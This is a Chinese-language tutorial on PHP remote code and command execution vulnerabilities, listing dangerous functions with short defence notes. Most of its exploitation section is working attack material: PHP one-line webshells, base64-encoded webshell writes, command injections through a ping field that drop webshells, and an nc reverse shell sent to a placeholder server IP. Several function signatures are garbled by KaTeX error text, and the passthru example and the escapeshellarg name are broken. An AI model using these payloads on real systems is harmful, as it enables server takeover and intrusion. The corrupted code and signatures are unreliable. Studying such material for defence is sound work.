- 命令执行CommandExecution漏洞
RCE(remote command/code execute)
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 - 远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。 - 远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
RCE漏洞
- 1.原理
- 2.利用
- 2.1.代码执行
- 2.1.1.eval函数
- 2.1.2.assert函数
- 2.1.3.preg_replace函数
- 2.1.4.array_map函数
- 2.1.5.create_function函数
- 2.1.6.call_user_func函数
- 2.1.7.call_user_func_array函数
- 2.1.8.array_filter函数
- 2.1.9.双引号
- 2.2.命令执行
- 2.2.1.exec函数
- 2.2.2.system函数
- 2.2.3.passthru函数
- 2.2.4.shell_exec函数
- 2.2.5.命令执行常用特殊字符
- 2.2.6.webshell
- 3.危害
- 4.防御
1.原理
产生原因:
应用未对用户输入做严格得检查过滤,导致用户输入的参数被当成命令来执行。 一般分为代码执行与命令执行。
漏洞出现点:
1.代码里面存在命令执行函数并且输入参数可以控制
2.代码里面存在代码执行函数并且输入参数可以控制
3.网站存在历史漏洞(网站本身、各种组件)
2.利用
2.1.代码执行
概述:
因为业务需求,在PHP中有时需要调用一些执行命令的函数,如:eval()、assert()、 preg_replace()、create_function()等,如果存在一个使用这些函数且未对可被用户控制的参 数进行检查过滤的页面,那么这个页面就可能存在远程代码执行漏洞。 小于php7 assert被拼接之后依然可以命令执行 但eval不行。
2.1.1.eval函数
eval ( string $code ) 把字符串 code 作为PHP代码执行
<?php @eval($_POST['cmd']);?>
注意: eval() 函数传入的参数必须为PHP代码,即要以分号结尾;
函数eval()语言结构是非常危险的, 因为它允许执行任意 PHP 代码。
不要允许传入任何由用户提供的、未经完整验证过的数据 。
2.1.2.assert函数
assert ( mixed $assertion [, string $description ] )
检查一个断言是否为 FALSE,如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
<?php @assert($_POST['cmd'])?>
注意: assert()函数是直接将传入的参数当成PHP代码执行,不需要以分号结尾。
2.1.3.preg_replace函数
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '&' at position 19: …it = -1 [, int &̲count ]] )
执行一个正则表达式的搜索和替换,搜索subject中匹配pattern的部分, 以replacement进行替换。
<?php preg_replace("/test/e",$_POST["cmd"],"just test");?>
preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)
PCRE修饰符 e :preg_replace()在进行了对替换字符串的后向引用替换之后, 将替换后的字符串作为php代 码评估执行(eval函数方式), 并使用执行结果作为实际参与替换的字符串。
2.1.4.array_map函数
array_map ( callable $callback , array $array1 [, array $… ] )
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量 和传给 array_map() 数组数量,两者必须一样。为数组的每个元素应用回调函数
<?php $func=$_GET['func'];
$cmd=$_POST['a'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array; ?>
2.1.5.create_function函数
create_function ( string $args , string $code )
从传递的参数创建一个匿名函数,并为其返回唯一的名称。 通常这些参数将作为单引号分隔的字符串传递。使用单引号的原因是为了保护变量名不被解析,否则,如果 使用双引号,就需要转义变量名,例如$avar。 函数默认为eval
<?php $func =
create_function('',$_POST['cmd']);
$func();
?>
2.1.6.call_user_func函数
call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。把第一个参数作为回调函数调用
<?php call_user_func("assert",$_POST['cmd']);
//传入的参数作为assert函数的参数
//cmd=system(whoami)
?>
2.1.7.call_user_func_array函数
call_user_func_array(callable $callback, array $param_arr): mixed
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
<?php call_user_func_array($_GET['func'],$_GET['p']);
//传入的参数作为assert函数的参数
//?func=assert&p[]=phpinfo()
?>
2.1.8.array_filter函数
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
用回调函数过滤数组中的单元;依次将 array 数组中的每个值传递到 callback 函数。
<?php $cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
//用回调函数过滤数组中的元素:array_filter(数组,函数)
//?func=system //cmd=whoami
?>
2.1.9.双引号
<?php
// echo "phpinfo()";
echo "{${phpinfo()}}";
echo "${@assert($_POST[a])}";
?>
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果 单引号中的变量不会被处理,双引号中的函数不会被执行和替换。
当作字符串执行:
echo "phpinfo()";
当作代码执行:
echo "{${phpinfo()}}";
执行一句话木马:
echo "${@assert($_POST[a])}";
通过post数据向服务器写入木马
echo -n 'PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+' | base64 -d > 111.php
2.2.命令执行
概述:
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常 见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web 界面输入目标IP,提交后后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功 能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交恶意命令,让后台进行执行,从而获得后台服务器权限。
利用PHP 的系统命令执行函数来调用系统命令并执行,这类函数有 system()、exec()、shell_exec()、 passthru()、penti_exec()、popen()、proc_pen()等,此外还有反引号命令执行,这种方式实际上是调用 shell_exec()函数来执行。
system():执行外部程序,并且显示输出;
exec():执行一个外部程序
shell_exec():通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
passthru():执行unix系统命令并且显示原始输出
pcntl_exec():在当前进程空间执行指定程序
popen():打开进程文件指针
proc_open():执行一个命令,并且打开用来输入/输出的文件指针。
2.2.1.exec函数
exec ( string KaTeX parse error: Expected 'EOF', got '&' at position 18: …mmand [, array &̲output [, int &$return_var ]] )
执行一个外部程序,exec() 执行 command 参数所指定的命令。
<?php
$a=exec($_POST['b']);
echo $a;
?>
exec执行系统外部命令时不会输出结果,而是返回结果的最后一行。
如果想得到结果,可以使用第二个参数,让 其输出到指定的数组。此数组一个记录代表输出的一行。
2.2.2.system函数
system ( string KaTeX parse error: Expected 'EOF', got '&' at position 16: command [, int &̲return_var ] )
函数执行 command 参数所指定的命令, 并且输出执行结果。
system和exec的区别在于,system在执行系统外部命令时,直接将结果输出到浏览器,如果执行命令成功则返回 true,否则返回false。
<?php
$a=system($_POST['b']);
?>
2.2.3.passthru函数
passthru ( string KaTeX parse error: Expected 'EOF', got '&' at position 16: command [, int &̲return_var ] )
执行外部程序并且显示原始输出,同exec()函数类似,passthru() 函数 也是用来执行外部命令(command)的 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。
passthru与system的区别:passthru直接将结果输出到浏览器,不返回任何值,且其可以输出二进制,比如图像 数据。第二个参数可选,是状态码。
<?php
$a=$_POST['q'];
passthru($q,$b);
echo "<br>";
echo $b;
?>
命令成功执行返回0,没有成功执行返回1
2.2.4.shell_exec函数
shell_exec ( string $cmd )
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
本函数同执行操作符(`)
<?php
$a=$_POST['a'];
$output = shell_exec($a);
echo "<pre>$output</pre>";
echo `$cmd`;
?>
输出结果一样。
2.2.5.命令执行常用特殊字符
cmd1|cmd2:无论cmd1是否执行成功,cmd2将被执行
cmd1;cmd2:无论cmd1是否执行成功,cmd2将被执行
cmd1||cmd2:仅在cmd1执行失败时才执行cmd2
cmd1&&cmd2:仅在cmd1执行成功后时才执行
2.2.6.webshell
写shell:
127.0.0.1|echo "<?php @eval(\$_POST['cmd']);?>" > ./sys/1.php 双引号会解析变量导致一句话木马缺失,可以使用\转义变量进行写入 也可以使用单引号闭合
127.0.0.1|echo "<?php (\$_=@\$_GET[2]).@\$_(\$_POST[1])?>"> ./sys/3.php
127.0.0.1|echo "PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==" | base64 -d > ./sys/2.php
nc反弹shell:
127.0.0.1;mkfifo /tmp/pipe;sh /tmp/pipe | nc 服务器ip 4444 > /tmp/pipe
nc lvvp 4444
3.危害
1.继承Web服务程序的权限去执行系统命令或读写文件
2.反弹shell,获得目标服务器的权限
3.进一步内网渗透
4.防御
1.尽量不要执行外部命令。
2.使用自定义函数或者函数库来代替外部命令的功能。
3.使用escapeshe||arg函数来处理命令参数。
4.使用safe_mode_exec_dir指定可执行文件的路径(safe_mode_exec_dir指定路径时可以把会使用的命令提前放入此路径内)。